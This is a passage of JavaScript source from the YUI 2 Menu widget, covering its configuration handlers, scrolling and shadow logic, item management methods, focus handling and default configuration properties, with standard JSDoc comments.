{YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ configPosition: function (p_sType, p_aArgs, p_oMenu) { var oElement = this.element, sCSSPosition = p_aArgs[0] == _STATIC ? _STATIC : _ABSOLUTE, oCfg = this.cfg, nZIndex; Dom.setStyle(oElement, _POSITION, sCSSPosition); if (sCSSPosition == _STATIC) { // Statically positioned menus are visible by default Dom.setStyle(oElement, _DISPLAY, _BLOCK); oCfg.setProperty(_VISIBLE, true); } else { /* Even though the "visible" property is queued to "false" by default, we need to set the "visibility" property to "hidden" since Overlay's "configVisible" implementation checks the element's "visibility" style property before deciding whether or not to show an Overlay instance. */ Dom.setStyle(oElement, _VISIBILITY, _HIDDEN); } if (sCSSPosition == _ABSOLUTE) { nZIndex = oCfg.getProperty(_ZINDEX); if (!nZIndex || nZIndex === 0) { oCfg.setProperty(_ZINDEX, 1); } } }, /** * @method configIframe * @description Event handler for when the "iframe" configuration property of * the menu changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ configIframe: function (p_sType, p_aArgs, p_oMenu) { if (this.cfg.getProperty(_POSITION) == _DYNAMIC) { Menu.superclass.configIframe.call(this, p_sType, p_aArgs, p_oMenu); } }, /** * @method configHideDelay * @description Event handler for when the "hidedelay" configuration property * of the menu changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ configHideDelay: function (p_sType, p_aArgs, p_oMenu) { var nHideDelay = p_aArgs[0]; this._useHideDelay = (nHideDelay > 0); }, /** * @method configContainer * @description Event handler for when the "container" configuration property * of the menu changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu Object representing the menu that * fired the event. */ configContainer: function (p_sType, p_aArgs, p_oMenu) { var oElement = p_aArgs[0]; if (Lang.isString(oElement)) { this.cfg.setProperty(_CONTAINER, Dom.get(oElement), true); } }, /** * @method _clearSetWidthFlag * @description Change event listener for the "width" configuration property. This listener is * added when a Menu's "width" configuration property is set by the "_setScrollHeight" method, and * is used to set the "_widthSetForScroll" property to "false" if the "width" configuration property * is changed after it was set by the "_setScrollHeight" method. If the "_widthSetForScroll" * property is set to "false", and the "_setScrollHeight" method is in the process of tearing down * scrolling functionality, it will maintain the Menu's new width rather than reseting it. * @private */ _clearSetWidthFlag: function () { this._widthSetForScroll = false; this.cfg.unsubscribeFromConfigEvent(_WIDTH, this._clearSetWidthFlag); }, /** * @method _subscribeScrollHandlers * @param {HTMLElement} oHeader The scroll header element * @param {HTMLElement} oFooter The scroll footer element */ _subscribeScrollHandlers : function(oHeader, oFooter) { var fnMouseOver = this._onScrollTargetMouseOver; var fnMouseOut = this._onScrollTargetMouseOut; Event.on(oHeader, _MOUSEOVER, fnMouseOver, this, true); Event.on(oHeader, _MOUSEOUT, fnMouseOut, this, true); Event.on(oFooter, _MOUSEOVER, fnMouseOver, this, true); Event.on(oFooter, _MOUSEOUT, fnMouseOut, this, true); }, /** * @method _unsubscribeScrollHandlers * @param {HTMLElement} oHeader The scroll header element * @param {HTMLElement} oFooter The scroll footer element */ _unsubscribeScrollHandlers : function(oHeader, oFooter) { var fnMouseOver = this._onScrollTargetMouseOver; var fnMouseOut = this._onScrollTargetMouseOut; Event.removeListener(oHeader, _MOUSEOVER, fnMouseOver); Event.removeListener(oHeader, _MOUSEOUT, fnMouseOut); Event.removeListener(oFooter, _MOUSEOVER, fnMouseOver); Event.removeListener(oFooter, _MOUSEOUT, fnMouseOut); }, /** * @method _setScrollHeight * @description * @param {String} p_nScrollHeight Number representing the scrolling height of the Menu. * @private */ _setScrollHeight: function (p_nScrollHeight) { var nScrollHeight = p_nScrollHeight, bRefireIFrameAndShadow = false, bSetWidth = false, oElement, oBody, oHeader, oFooter, nMinScrollHeight, nHeight, nOffsetWidth, sWidth; if (this.getItems().length > 0) { oElement = this.element; oBody = this.body; oHeader = this.header; oFooter = this.footer; nMinScrollHeight = this.cfg.getProperty(_MIN_SCROLL_HEIGHT); if (nScrollHeight > 0 && nScrollHeight < nMinScrollHeight) { nScrollHeight = nMinScrollHeight; } Dom.setStyle(oBody, _HEIGHT, _EMPTY_STRING); Dom.removeClass(oBody, _YUI_MENU_BODY_SCROLLED); oBody.scrollTop = 0; // Need to set a width for the Menu to fix the following problems in // Firefox 2 and IE: // #1) Scrolled Menus will render at 1px wide in Firefox 2 // #2) There is a bug in gecko-based browsers where an element whose // "position" property is set to "absolute" and "overflow" property is // set to "hidden" will not render at the correct width when its // offsetParent's "position" property is also set to "absolute." It is // possible to work around this bug by specifying a value for the width // property in addition to overflow. // #3) In IE it is necessary to give the Menu a width before the // scrollbars are rendered to prevent the Menu from rendering with a // width that is 100% of the browser viewport. bSetWidth = ((UA.gecko && UA.gecko < 1.9) || UA.ie); if (nScrollHeight > 0 && bSetWidth && !this.cfg.getProperty(_WIDTH)) { nOffsetWidth = oElement.offsetWidth; /* Measuring the difference of the offsetWidth before and after setting the "width" style attribute allows us to compute the about of padding and borders applied to the element, which in turn allows us to set the "width" property correctly. */ oElement.style.width = nOffsetWidth + _PX; sWidth = (nOffsetWidth - (oElement.offsetWidth - nOffsetWidth)) + _PX; this.cfg.unsubscribeFromConfigEvent(_WIDTH, this._clearSetWidthFlag); this.cfg.setProperty(_WIDTH, sWidth); /* Set a flag (_widthSetForScroll) to maintain some history regarding how the "width" configuration property was set. If the "width" configuration property is set by something other than the "_setScrollHeight" method, it will be necessary to maintain that new value and not clear the width if scrolling is turned off. */ this._widthSetForScroll = true; this.cfg.subscribeToConfigEvent(_WIDTH, this._clearSetWidthFlag); } if (nScrollHeight > 0 && (!oHeader && !oFooter)) { this.setHeader(_NON_BREAKING_SPACE); this.setFooter(_NON_BREAKING_SPACE); oHeader = this.header; oFooter = this.footer; Dom.addClass(oHeader, _TOP_SCROLLBAR); Dom.addClass(oFooter, _BOTTOM_SCROLLBAR); oElement.insertBefore(oHeader, oBody); oElement.appendChild(oFooter); } nHeight = nScrollHeight; if (oHeader && oFooter) { nHeight = (nHeight - (oHeader.offsetHeight + oFooter.offsetHeight)); } if ((nHeight > 0) && (oBody.offsetHeight > nScrollHeight)) { Dom.addClass(oBody, _YUI_MENU_BODY_SCROLLED); Dom.setStyle(oBody, _HEIGHT, (nHeight + _PX)); if (!this._hasScrollEventHandlers) { this._subscribeScrollHandlers(oHeader, oFooter); this._hasScrollEventHandlers = true; } this._disableScrollHeader(); this._enableScrollFooter(); bRefireIFrameAndShadow = true; } else if (oHeader && oFooter) { /* Only clear the the "width" configuration property if it was set the "_setScrollHeight" method and wasn't changed by some other means after it was set. */ if (this._widthSetForScroll) { this._widthSetForScroll = false; this.cfg.unsubscribeFromConfigEvent(_WIDTH, this._clearSetWidthFlag); this.cfg.setProperty(_WIDTH, _EMPTY_STRING); } this._enableScrollHeader(); this._enableScrollFooter(); if (this._hasScrollEventHandlers) { this._unsubscribeScrollHandlers(oHeader, oFooter); this._hasScrollEventHandlers = false; } oElement.removeChild(oHeader); oElement.removeChild(oFooter); this.header = null; this.footer = null; bRefireIFrameAndShadow = true; } if (bRefireIFrameAndShadow) { this.cfg.refireEvent(_IFRAME); this.cfg.refireEvent(_SHADOW); } } }, /** * @method _setMaxHeight * @description "renderEvent" handler used to defer the setting of the * "maxheight" configuration property until the menu is rendered in lazy * load scenarios. * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event * was fired. * @param {Number} p_nMaxHeight Number representing the value to set for the * "maxheight" configuration property. * @private */ _setMaxHeight: function (p_sType, p_aArgs, p_nMaxHeight) { this._setScrollHeight(p_nMaxHeight); this.renderEvent.unsubscribe(this._setMaxHeight); }, /** * @method configMaxHeight * @description Event handler for when the "maxheight" configuration property of * a Menu changes. * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event * was fired. * @param {YAHOO.widget.Menu} p_oMenu The Menu instance fired * the event. */ configMaxHeight: function (p_sType, p_aArgs, p_oMenu) { var nMaxHeight = p_aArgs[0]; if (this.lazyLoad && !this.body && nMaxHeight > 0) { this.renderEvent.subscribe(this._setMaxHeight, nMaxHeight, this); } else { this._setScrollHeight(nMaxHeight); } }, /** * @method configClassName * @description Event handler for when the "classname" configuration property of * a menu changes. * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu The Menu instance fired the event. */ configClassName: function (p_sType, p_aArgs, p_oMenu) { var sClassName = p_aArgs[0]; if (this._sClassName) { Dom.removeClass(this.element, this._sClassName); } Dom.addClass(this.element, sClassName); this._sClassName = sClassName; }, /** * @method _onItemAdded * @description "itemadded" event handler for a Menu instance. * @private * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event * was fired. */ _onItemAdded: function (p_sType, p_aArgs) { var oItem = p_aArgs[0]; if (oItem) { oItem.cfg.setProperty(_DISABLED, true); } }, /** * @method configDisabled * @description Event handler for when the "disabled" configuration property of * a menu changes. * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu The Menu instance fired the event. */ configDisabled: function (p_sType, p_aArgs, p_oMenu) { var bDisabled = p_aArgs[0], aItems = this.getItems(), nItems, i; if (Lang.isArray(aItems)) { nItems = aItems.length; if (nItems > 0) { i = nItems - 1; do { aItems[i].cfg.setProperty(_DISABLED, bDisabled); } while (i--); } if (bDisabled) { this.clearActiveItem(true); Dom.addClass(this.element, _DISABLED); this.itemAddedEvent.subscribe(this._onItemAdded); } else { Dom.removeClass(this.element, _DISABLED); this.itemAddedEvent.unsubscribe(this._onItemAdded); } } }, /** * Resizes the shadow to match the container bounding element * * @method _sizeShadow * @protected */ _sizeShadow : function () { var oElement = this.element, oShadow = this._shadow; if (oShadow && oElement) { // Clear the previous width if (oShadow.style.width && oShadow.style.height) { oShadow.style.width = _EMPTY_STRING; oShadow.style.height = _EMPTY_STRING; } oShadow.style.width = (oElement.offsetWidth + 6) + _PX; oShadow.style.height = (oElement.offsetHeight + 1) + _PX; } }, /** * Replaces the shadow element in the DOM with the current shadow element (this._shadow) * * @method _replaceShadow * @protected */ _replaceShadow : function () { this.element.appendChild(this._shadow); }, /** * Adds the classname marker for a visible shadow, to the shadow element * * @method _addShadowVisibleClass * @protected */ _addShadowVisibleClass : function () { Dom.addClass(this._shadow, _YUI_MENU_SHADOW_VISIBLE); }, /** * Removes the classname marker for a visible shadow, from the shadow element * * @method _removeShadowVisibleClass * @protected */ _removeShadowVisibleClass : function () { Dom.removeClass(this._shadow, _YUI_MENU_SHADOW_VISIBLE); }, /** * Removes the shadow element from the DOM, and unsubscribes all the listeners used to keep it in sync. Used * to handle setting the shadow to false. * * @method _removeShadow * @protected */ _removeShadow : function() { var p = (this._shadow && this._shadow.parentNode); if (p) { p.removeChild(this._shadow); } this.beforeShowEvent.unsubscribe(this._addShadowVisibleClass); this.beforeHideEvent.unsubscribe(this._removeShadowVisibleClass); this.cfg.unsubscribeFromConfigEvent(_WIDTH, this._sizeShadow); this.cfg.unsubscribeFromConfigEvent(_HEIGHT, this._sizeShadow); this.cfg.unsubscribeFromConfigEvent(_MAX_HEIGHT, this._sizeShadow); this.cfg.unsubscribeFromConfigEvent(_MAX_HEIGHT, this._replaceShadow); this.changeContentEvent.unsubscribe(this._sizeShadow); Module.textResizeEvent.unsubscribe(this._sizeShadow); }, /** * Used to create the shadow element, add it to the DOM, and subscribe listeners to keep it in sync. * * @method _createShadow * @protected */ _createShadow : function () { var oShadow = this._shadow, oElement; if (!oShadow) { oElement = this.element; if (!m_oShadowTemplate) { m_oShadowTemplate = document.createElement(_DIV_LOWERCASE); m_oShadowTemplate.className = _YUI_MENU_SHADOW_YUI_MENU_SHADOW_VISIBLE; } oShadow = m_oShadowTemplate.cloneNode(false); oElement.appendChild(oShadow); this._shadow = oShadow; this.beforeShowEvent.subscribe(this._addShadowVisibleClass); this.beforeHideEvent.subscribe(this._removeShadowVisibleClass); if (UA.ie) { /* Need to call sizeShadow & syncIframe via setTimeout for IE 7 Quirks Mode and IE 6 Standards Mode and Quirks Mode or the shadow and iframe shim will not be sized and positioned properly. */ Lang.later(0, this, function () { this._sizeShadow(); this.syncIframe(); }); this.cfg.subscribeToConfigEvent(_WIDTH, this._sizeShadow); this.cfg.subscribeToConfigEvent(_HEIGHT, this._sizeShadow); this.cfg.subscribeToConfigEvent(_MAX_HEIGHT, this._sizeShadow); this.changeContentEvent.subscribe(this._sizeShadow); Module.textResizeEvent.subscribe(this._sizeShadow, this, true); this.destroyEvent.subscribe(function () { Module.textResizeEvent.unsubscribe(this._sizeShadow, this); }); } this.cfg.subscribeToConfigEvent(_MAX_HEIGHT, this._replaceShadow); } }, /** * The beforeShow event handler used to set up the shadow lazily when the menu is made visible. * @method _shadowBeforeShow * @protected */ _shadowBeforeShow : function () { if (this._shadow) { // If called because the "shadow" event was refired - just append again and resize this._replaceShadow(); if (UA.ie) { this._sizeShadow(); } } else { this._createShadow(); } this.beforeShowEvent.unsubscribe(this._shadowBeforeShow); }, /** * @method configShadow * @description Event handler for when the "shadow" configuration property of * a menu changes. * @param {String} p_sType The name of the event that was fired. * @param {Array} p_aArgs Collection of arguments sent when the event was fired. * @param {YAHOO.widget.Menu} p_oMenu The Menu instance fired the event. */ configShadow: function (p_sType, p_aArgs, p_oMenu) { var bShadow = p_aArgs[0]; if (bShadow && this.cfg.getProperty(_POSITION) == _DYNAMIC) { if (this.cfg.getProperty(_VISIBLE)) { if (this._shadow) { // If the "shadow" event was refired - just append again and resize this._replaceShadow(); if (UA.ie) { this._sizeShadow(); } } else { this._createShadow(); } } else { this.beforeShowEvent.subscribe(this._shadowBeforeShow); } } else if (!bShadow) { this.beforeShowEvent.unsubscribe(this._shadowBeforeShow); this._removeShadow(); } }, // Public methods /** * @method initEvents * @description Initializes the custom events for the menu. */ initEvents: function () { Menu.superclass.initEvents.call(this); // Create custom events var i = EVENT_TYPES.length - 1, aEventData, oCustomEvent; do { aEventData = EVENT_TYPES[i]; oCustomEvent = this.createEvent(aEventData[1]); oCustomEvent.signature = CustomEvent.LIST; this[aEventData[0]] = oCustomEvent; } while (i--); }, /** * @method positionOffScreen * @description Positions the menu outside of the boundaries of the browser's * viewport. Called automatically when a menu is hidden to ensure that * it doesn't force the browser to render uncessary scrollbars. */ positionOffScreen: function () { var oIFrame = this.iframe, oElement = this.element, sPos = this.OFF_SCREEN_POSITION; oElement.style.top = _EMPTY_STRING; oElement.style.left = _EMPTY_STRING; if (oIFrame) { oIFrame.style.top = sPos; oIFrame.style.left = sPos; } }, /** * @method getRoot * @description Finds the menu's root menu. */ getRoot: function () { var oItem = this.parent, oParentMenu, returnVal; if (oItem) { oParentMenu = oItem.parent; returnVal = oParentMenu ? oParentMenu.getRoot() : this; } else { returnVal = this; } return returnVal; }, /** * @method toString * @description Returns a string representing the menu. * @return {String} */ toString: function () { var sReturnVal = _MENU, sId = this.id; if (sId) { sReturnVal += (_SPACE + sId); } return sReturnVal; }, /** * @method setItemGroupTitle * @description Sets the title of a group of menu items. * @param {HTML} p_sGroupTitle String or markup specifying the title of the group. The title is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {Number} p_nGroupIndex Optional. Number specifying the group to which * the title belongs. */ setItemGroupTitle: function (p_sGroupTitle, p_nGroupIndex) { var nGroupIndex, oTitle, i, nFirstIndex; if (Lang.isString(p_sGroupTitle) && p_sGroupTitle.length > 0) { nGroupIndex = Lang.isNumber(p_nGroupIndex) ? p_nGroupIndex : 0; oTitle = this._aGroupTitleElements[nGroupIndex]; if (oTitle) { oTitle.innerHTML = p_sGroupTitle; } else { oTitle = document.createElement(this.GROUP_TITLE_TAG_NAME); oTitle.innerHTML = p_sGroupTitle; this._aGroupTitleElements[nGroupIndex] = oTitle; } i = this._aGroupTitleElements.length - 1; do { if (this._aGroupTitleElements[i]) { Dom.removeClass(this._aGroupTitleElements[i], _FIRST_OF_TYPE); nFirstIndex = i; } } while (i--); if (nFirstIndex !== null) { Dom.addClass(this._aGroupTitleElements[nFirstIndex], _FIRST_OF_TYPE); } this.changeContentEvent.fire(); } }, /** * @method addItem * @description Appends an item to the menu. * @param {YAHOO.widget.MenuItem} p_oItem Object reference for the MenuItem * instance to be added to the menu. * @param {HTML} p_oItem String or markup specifying content of the item to be added * to the menu. The item text is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {Object} p_oItem Object literal containing a set of menu item * configuration properties. * @param {Number} p_nGroupIndex Optional. Number indicating the group to * which the item belongs. * @return {YAHOO.widget.MenuItem} */ addItem: function (p_oItem, p_nGroupIndex) { return this._addItemToGroup(p_nGroupIndex, p_oItem); }, /** * @method addItems * @description Adds an array of items to the menu. * @param {Array} p_aItems Array of items to be added to the menu. The array * can contain strings specifying the markup for the content of each item to be created, object * literals specifying each of the menu item configuration properties, * or MenuItem instances. The item content if provided as a string is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @param {Number} p_nGroupIndex Optional. Number specifying the group to * which the items belongs. * @return {Array} */ addItems: function (p_aItems, p_nGroupIndex) { var nItems, aItems, oItem, i, returnVal; if (Lang.isArray(p_aItems)) { nItems = p_aItems.length; aItems = []; for(i=0; i<nItems; i++) { oItem = p_aItems[i]; if (oItem) { if (Lang.isArray(oItem)) { aItems[aItems.length] = this.addItems(oItem, i); } else { aItems[aItems.length] = this._addItemToGroup(p_nGroupIndex, oItem); } } } if (aItems.length) { returnVal = aItems; } } return returnVal; }, /** * @method insertItem * @description Inserts an item into the menu at the specified index. * @param {YAHOO.widget.MenuItem} p_oItem Object reference for the MenuItem * instance to be added to the menu. * @param {String} p_oItem String specifying the text of the item to be added * to the menu. * @param {Object} p_oItem Object literal containing a set of menu item * configuration properties. * @param {Number} p_nItemIndex Number indicating the ordinal position at which * the item should be added. * @param {Number} p_nGroupIndex Optional. Number indicating the group to which * the item belongs. * @return {YAHOO.widget.MenuItem} */ insertItem: function (p_oItem, p_nItemIndex, p_nGroupIndex) { return this._addItemToGroup(p_nGroupIndex, p_oItem, p_nItemIndex); }, /** * @method removeItem * @description Removes the specified item from the menu. * @param {YAHOO.widget.MenuItem} p_oObject Object reference for the MenuItem * instance to be removed from the menu. * @param {Number} p_oObject Number specifying the index of the item * to be removed. * @param {Number} p_nGroupIndex Optional. Number specifying the group to * which the item belongs. * @return {YAHOO.widget.MenuItem} */ removeItem: function (p_oObject, p_nGroupIndex) { var oItem, returnVal; if (!Lang.isUndefined(p_oObject)) { if (p_oObject instanceof YAHOO.widget.MenuItem) { oItem = this._removeItemFromGroupByValue(p_nGroupIndex, p_oObject); } else if (Lang.isNumber(p_oObject)) { oItem = this._removeItemFromGroupByIndex(p_nGroupIndex, p_oObject); } if (oItem) { oItem.destroy(); returnVal = oItem; } } return returnVal; }, /** * @method getItems * @description Returns an array of all of the items in the menu. * @return {Array} */ getItems: function () { var aGroups = this._aItemGroups, nGroups, returnVal, aItems = []; if (Lang.isArray(aGroups)) { nGroups = aGroups.length; returnVal = ((nGroups == 1) ? aGroups[0] : (Array.prototype.concat.apply(aItems, aGroups))); } return returnVal; }, /** * @method getItemGroups * @description Multi-dimensional Array representing the menu items as they * are grouped in the menu. * @return {Array} */ getItemGroups: function () { return this._aItemGroups; }, /** * @method getItem * @description Returns the item at the specified index. * @param {Number} p_nItemIndex Number indicating the ordinal position of the * item to be retrieved. * @param {Number} p_nGroupIndex Optional. Number indicating the group to which * the item belongs. * @return {YAHOO.widget.MenuItem} */ getItem: function (p_nItemIndex, p_nGroupIndex) { var aGroup, returnVal; if (Lang.isNumber(p_nItemIndex)) { aGroup = this._getItemGroup(p_nGroupIndex); if (aGroup) { returnVal = aGroup[p_nItemIndex]; } } return returnVal; }, /** * @method getSubmenus * @description Returns an array of all of the submenus that are immediate * children of the menu. * @return {Array} */ getSubmenus: function () { var aItems = this.getItems(), nItems = aItems.length, aSubmenus, oSubmenu, oItem, i; if (nItems > 0) { aSubmenus = []; for(i=0; i<nItems; i++) { oItem = aItems[i]; if (oItem) { oSubmenu = oItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { aSubmenus[aSubmenus.length] = oSubmenu; } } } } return aSubmenus; }, /** * @method clearContent * @description Removes all of the content from the menu, including the menu * items, group titles, header and footer. */ clearContent: function () { var aItems = this.getItems(), nItems = aItems.length, oElement = this.element, oBody = this.body, oHeader = this.header, oFooter = this.footer, oItem, oSubmenu, i; if (nItems > 0) { i = nItems - 1; do { oItem = aItems[i]; if (oItem) { oSubmenu = oItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { this.cfg.configChangedEvent.unsubscribe( this._onParentMenuConfigChange, oSubmenu); this.renderEvent.unsubscribe(this._onParentMenuRender, oSubmenu); } this.removeItem(oItem, oItem.groupIndex); } } while (i--); } if (oHeader) { Event.purgeElement(oHeader); oElement.removeChild(oHeader); } if (oFooter) { Event.purgeElement(oFooter); oElement.removeChild(oFooter); } if (oBody) { Event.purgeElement(oBody); oBody.innerHTML = _EMPTY_STRING; } this.activeItem = null; this._aItemGroups = []; this._aListElements = []; this._aGroupTitleElements = []; this.cfg.setProperty(_WIDTH, null); }, /** * @method destroy * @description Removes the menu's <code>&#60;div&#62;</code> element * (and accompanying child nodes) from the document. * @param {boolean} shallowPurge If true, only the parent element's DOM event listeners are purged. If false, or not provided, all children are also purged of DOM event listeners. * NOTE: The flag is a "shallowPurge" flag, as opposed to what may be a more intuitive "purgeChildren" flag to maintain backwards compatibility with behavior prior to 2.9.0. * */ destroy: function (shallowPurge) { // Remove all items this.clearContent(); this._aItemGroups = null; this._aListElements = null; this._aGroupTitleElements = null; // Continue with the superclass implementation of this method Menu.superclass.destroy.call(this, shallowPurge); }, /** * @method setInitialFocus * @description Sets focus to the menu's first enabled item. */ setInitialFocus: function () { var oItem = this._getFirstEnabledItem(); if (oItem) { oItem.focus(); } }, /** * @method setInitialSelection * @description Sets the "selected" configuration property of the menu's first * enabled item to "true." */ setInitialSelection: function () { var oItem = this._getFirstEnabledItem(); if (oItem) { oItem.cfg.setProperty(_SELECTED, true); } }, /** * @method clearActiveItem * @description Sets the "selected" configuration property of the menu's active * item to "false" and hides the item's submenu. * @param {Boolean} p_bBlur Boolean indicating if the menu's active item * should be blurred. */ clearActiveItem: function (p_bBlur) { if (this.cfg.getProperty(_SHOW_DELAY) > 0) { this._cancelShowDelay(); } var oActiveItem = this.activeItem, oConfig, oSubmenu; if (oActiveItem) { oConfig = oActiveItem.cfg; if (p_bBlur) { oActiveItem.blur(); this.getRoot()._hasFocus = true; } oConfig.setProperty(_SELECTED, false); oSubmenu = oConfig.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.hide(); } this.activeItem = null; } }, /** * @method focus * @description Causes the menu to receive focus and fires the "focus" event. */ focus: function () { if (!this.hasFocus()) { this.setInitialFocus(); } }, /** * @method blur * @description Causes the menu to lose focus and fires the "blur" event. */ blur: function () { var oItem; if (this.hasFocus()) { oItem = MenuManager.getFocusedMenuItem(); if (oItem) { oItem.blur(); } } }, /** * @method hasFocus * @description Returns a boolean indicating whether or not the menu has focus. * @return {Boolean} */ hasFocus: function () { return (MenuManager.getFocusedMenu() == this.getRoot()); }, _doItemSubmenuSubscribe: function (p_sType, p_aArgs, p_oObject) { var oItem = p_aArgs[0], oSubmenu = oItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.subscribe.apply(oSubmenu, p_oObject); } }, _doSubmenuSubscribe: function (p_sType, p_aArgs, p_oObject) { var oSubmenu = this.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.subscribe.apply(oSubmenu, p_oObject); } }, /** * Adds the specified CustomEvent subscriber to the menu and each of * its submenus. * @method subscribe * @param p_type {string} the type, or name of the event * @param p_fn {function} the function to exectute when the event fires * @param p_obj {Object} An object to be passed along when the event * fires * @param p_override {boolean} If true, the obj passed in becomes the * execution scope of the listener */ subscribe: function () { // Subscribe to the event for this Menu instance Menu.superclass.subscribe.apply(this, arguments); // Subscribe to the "itemAdded" event so that all future submenus // also subscribe to this event Menu.superclass.subscribe.call(this, _ITEM_ADDED, this._doItemSubmenuSubscribe, arguments); var aItems = this.getItems(), nItems, oItem, oSubmenu, i; if (aItems) { nItems = aItems.length; if (nItems > 0) { i = nItems - 1; do { oItem = aItems[i]; oSubmenu = oItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.subscribe.apply(oSubmenu, arguments); } else { oItem.cfg.subscribeToConfigEvent(_SUBMENU, this._doSubmenuSubscribe, arguments); } } while (i--); } } }, unsubscribe: function () { // Remove the event for this Menu instance Menu.superclass.unsubscribe.apply(this, arguments); // Remove the "itemAdded" event so that all future submenus don't have // the event handler Menu.superclass.unsubscribe.call(this, _ITEM_ADDED, this._doItemSubmenuSubscribe, arguments); var aItems = this.getItems(), nItems, oItem, oSubmenu, i; if (aItems) { nItems = aItems.length; if (nItems > 0) { i = nItems - 1; do { oItem = aItems[i]; oSubmenu = oItem.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.unsubscribe.apply(oSubmenu, arguments); } else { oItem.cfg.unsubscribeFromConfigEvent(_SUBMENU, this._doSubmenuSubscribe, arguments); } } while (i--); } } }, /** * @description Initializes the class's configurable properties which can be * changed using the menu's Config object ("cfg"). * @method initDefaultConfig */ initDefaultConfig: function () { Menu.superclass.initDefaultConfig.call(this); var oConfig = this.cfg; // Module documentation overrides /** * @config effect * @description Object or array of objects representing the ContainerEffect * classes that are active for animating the container. When set this * property is automatically applied to all submenus. * @type Object * @default null */ // Overlay documentation overrides /** * @config x * @description Number representing the absolute x-coordinate position of * the Menu. This property is only applied when the "position" * configuration property is set to dynamic. * @type Number * @default null */ /** * @config y * @description Number representing the absolute y-coordinate position of * the Menu. This property is only applied when the "position" * configuration property is set to dynamic. * @type Number * @default null */ /** * @description Array of the absolute x and y positions of the Menu. This * property is only applied when the "position" configuration property is * set to dynamic. * @config xy * @type Number[] * @default null */ /** * @config context * @description Array of context arguments for context-sensitive positioning. * The format is: [id or element, element corner, context corner]. * For example, setting this property to ["img1", "tl", "bl"] would * align the Menu's top left corner to the context element's * bottom left corner. This property is only applied when the "position" * configuration property is set to dynamic. * @type Array * @default null */ /** * @config fixedcenter * @description Boolean indicating if the Menu should be anchored to the * center of the viewport. This property is only applied when the * "position" configuration property is set to dynamic. * @type Boolean * @default false */ /** * @config iframe * @description Boolean indicating whether or not the Menu should * have an IFRAME shim; used to prevent SELECT elements from * poking through an Overlay instance in IE6. When set to "true", * the iframe shim is created when the Menu instance is intially * made visible. This property is only applied when the "position" * configuration property is set to dynamic and is automatically applied * to all submenus. * @type Boolean * @default true for IE6 and below, false for all other browsers. */ // Add configuration attributes /* Change the default value for the "visible" configuration property to "false" by re-adding the property. */ /** * @config visible * @description Boolean indicating whether or not the menu is visible. If * the menu's "position" configuration property is set to "dynamic" (the * default), this property toggles the menu's <code>&#60;div&#62;</code> * element's "visibility" style property between "visible" (true) or * "hidden" (false). If the menu's "position" configuration property is * set to "static" this property toggles the menu's * <code>&#60;div&#62;</code> element's "display" style property * between "block" (true) or "none" (false). * @default false * @type Boolean */ oConfig.addProperty( VISIBLE_CONFIG.key, { handler: this.configVisible, value: VISIBLE_CONFIG.value, validator: VISIBLE_CONFIG.validator } ); /* Change the default value for the "constraintoviewport" configuration property (inherited by YAHOO.widget.Overlay) to "true" by re-adding the property. */ /** * @config constraintoviewport * @description Boolean indicating if the menu will try to remain inside * the boundaries of the size of viewport. This property is only applied * when the "position" configuration property is set to dynamic and is * automatically applied to all submenus. * @default true * @type Boolean */ oConfig.addProperty( CONSTRAIN_TO_VIEWPORT_CONFIG.key, { handler: this.configConstrainToViewport, value: CONSTRAIN_TO_VIEWPORT_CONFIG.value, validator: CONSTRAIN_TO_VIEWPORT_CONFIG.validator, supercedes: CONSTRAIN_TO_VIEWPORT_CONFIG.supercedes } ); /* Change the default value for the "preventcontextoverlap" configuration property (inherited by YAHOO.widget.Overlay) to "true" by re-adding the property. */ /** * @config preventcontextoverlap * @description Boolean indicating whether or not a submenu should overlap its parent MenuItem * when the "constraintoviewport" configuration property is set to "true". * @type Boolean * @default true */ oConfig.addProperty(PREVENT_CONTEXT_OVERLAP_CONFIG.key, { value: PREVENT_CONTEXT_OVERLAP_CONFIG.value, validator: PREVENT_CONTEXT_OVERLAP_CONFIG.validator, supercedes: PREVENT_CONTEXT_OVERLAP_CONFIG.supercedes }); /** * @config position * @description String indicating how a menu should be positioned on the * screen. Possible values are "static" and "dynamic." Static menus are * visible by default and reside in the normal flow of the document * (CSS position: static). Dynamic menus are hidden by default, reside * out of the normal flow of the document (CSS position: absolute), and * can overlay other elements on the screen. * @default dynamic * @type String */ oConfig.addProperty( POSITION_CONFIG.key, { handler: this.configPosition, value: POSITION_CONFIG.value, validator: POSITION_CONFIG.validator, supercedes: POSITION_CONFIG.supercedes } ); /** * @config submenualignment * @description Array defining how submenus should be aligned to their * parent menu item. The format is: [itemCorner, submenuCorner]. By default * a submenu's top left corner is aligned to its parent menu item's top * right corner. * @default ["tl","tr"] * @type Array */ oConfig.addProperty( SUBMENU_ALIGNMENT_CONFIG.key, { value: SUBMENU_ALIGNMENT_CONFIG.value, suppressEvent: SUBMENU_ALIGNMENT_CONFIG.suppressEvent } ); /** * @config autosubmenudisplay * @description Boolean indicating if submenus are automatically made * visible when the user mouses over the menu's items. * @default true * @type 